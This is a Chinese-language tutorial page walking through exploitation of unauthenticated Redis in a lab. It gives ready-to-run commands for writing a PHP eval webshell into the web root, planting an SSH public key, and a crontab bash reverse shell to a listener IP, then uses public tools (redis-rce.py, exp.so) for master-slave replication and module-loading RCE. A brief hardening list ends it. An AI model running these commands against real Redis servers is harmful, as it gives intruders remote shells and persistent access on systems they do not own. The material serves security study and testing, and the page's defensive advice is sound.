d4m1ts_2018 d4m1ts_2019 d4m1ts_2020

危害

信息泄露

  • 系统信息
  • redis保存的信息

写文件GetShell

  • 在Web目录中写入webshell
  • 写入SSH公钥直接连接
  • 写入计划任务(corntab)反弹shell

高级利用

  • 主从复制getshell(4.x version < 5.0.5)
  • 模块加载执行命令(> 4.x)

环境准备

🐔型 ip 服务 版本
攻击🐔 192.168.1.100 Windows 10
攻击🐔 192.168.1.100 redis-cli 3.0.501
受害🐔 192.168.1.105 Ubuntu 16.04 LTS
受害🐔 192.168.1.105 redis-server 3.0.6
受害🐔 192.168.1.105 Apache 2.4.18 (Ubuntu)

因为新版的 redis 默认绑定的地址为 127.0.0.1,所以为了复现漏洞,我们手动将绑定端口改成0.0.0.0

sudo vim redis.conf
  • 69 行的 127.0.0.1 修改为 0.0.0.0

change_bind_ip

  • 启动redis必须使用 root 权限启动,否则save时会报错
# 关闭 redis 服务
sudo service redis-server stop
# 打开 redis 服务
cd /usr/bin/ && sudo redis-server

信息泄露

数据泄露

获取所有的key值 keys *

具体查看数据可以查看redis教程

http://www.runoob.com/redis/redis-tutorial.html

get_keys

系统信息泄露

info 命令

可以看到redis的版本、系统内核版本、配置文件路径等信息

info

写文件GetShell

在Web目录中写入webshell

前提条件

已知网站目录的绝对路径,并且具有读写权限

环境搭建

启动apache服务器

sudo service apache2 start

查看apache服务器状态

sudo service apache2 status

有一个 running 则说明在运行状态

running

getshell

  • 写入shell
# 写入一个string内容
set shell "<?php @eval($_POST['shell']);?>"
# 设置备份目录
config set dir /var/www/html/
# 设置备份文件名
config set dbfilename shell.php
# 保存文件到本地
save

config

  • 菜刀连接

Cknife

写入SSH公钥直接连接

  • 本地生成公钥和私钥
  • 将公钥写入到目标的.ssh文件夹
  • ssh 连接

在本地生成公钥和私钥

PS : 这里为了方便,我直接从受害🐔里面生成的公钥和私钥,然后再将他们剪切到攻击🐔

ssh-keygen -t rsa

generate_ssh

cat_key

将公钥写入文件中

# 备份文件目录设置为对应的 .ssh,部分为 /root/.ssh/
config set dir /home/lynn/.ssh/

config set dbfilename authorized_keys

# 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合
set key "\n\n\生成的公钥n\n"

save

cat_key

ssh 连接

ssh -i id_rsa [email protected]

cat_key

可以看到不需要输入密码直接连接

写入计划任务(corntab)反弹shell

注意⚠️

这里有一个很深的坑,那就是

crontab反弹debain,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行

crontab -u root /var/spool/cron/crontabs/root

通过语法检查后,才能执行计划任务。

因为这个坑,用了整整一天的时间来研究这个

参考文章

http://www.freebuf.com/vuls/148758.html

主要是感谢下方的评论


执行命令

和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是 lsa 那么备份文件就是 lsa

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.100/1234 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

攻击🐔开启监听

nc -lvp 1234

nc_1

等待 1 分钟

等待一分钟受害🐔即可执行任务,攻击🐔就可以收到shell

nc_2

前期总结

redis未授权访问总的来说危害还是挺大的

但是实际过程中还是会遇到很多很多的问题

比如

  • redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
  • redis写入的时候就会覆盖passwd,而且passwd不能恢复
  • debian,ubuntu 计划任务的限制很严格,写入成功是不能执行的

高级利用

主从复制Getshell

介绍

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。

主从复制RCE主要原理就是:攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so文件,完成命令执行。

环境搭建

采用docker拉取redis进行一键式搭建

docker run -p 6378:6379 -d redis:latest

docker启动成功

漏洞利用

下载Exp
git clone https://github.com/Ridter/redis-rce.git
下载 exp.so
# 下载后放到 redis-rce 目录下
wget --no-chck-certificate https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so
利用
# 此处可以通过 -p 去设置目标端口(默认6379)
python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so
成功截图

image-20211103172253238

漏洞原理

Pavel Toporkov在2018年的zeronights会议上,分享了关于这个漏洞的详细原理。

PDF链接:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

image-20211103173226945

看了个大概,也不是完全懂,大概意思就是说,我们做主机,目标做从机,当两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

模块加载执行命令

介绍

和主从复制差不多,都是加载一样的so文件,只不过这边是直接模块导入的方法

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

主要过程还是通过某种手法上传.so文件,然后通过redis的module命令进行加载.so文件,然后进行系统命令执行,这里主要是讲解利用方式,我就不对.so文件原理进行一个讲解。

什么时候用

  1. 实战中这种用法一般用在getshell后,上传.so文件进行一个命令执行;
  2. 版本够,但是不能用主从复制rce的时候用,不能出网的时候用;

exp.so

下载后自己make编译即可

复现

  • 启动redis容器
docker run -it --rm -d -p 127.0.0.1:6379:6379 redis
  • 查看版本,符合要求

image-20211103215141222

  • 下载远程的仓库进行编译
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand
make

image-20211103215159025

  • 把编译好的so文件放到redis的容器内
docker cp

image-20211103215223592

  • 加载so,执行命令

image-20211103215237224

防护

从上面的利用也可以看的出来,防护主要针对以下几点:

  1. 禁止未授权访问,设置密码
  2. 低权限运行,避免RCE等
  3. 禁止数据库对外开放,设置访问IP白名单

参考

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2021-12-14 09:55:53

results matching ""

    No results matching ""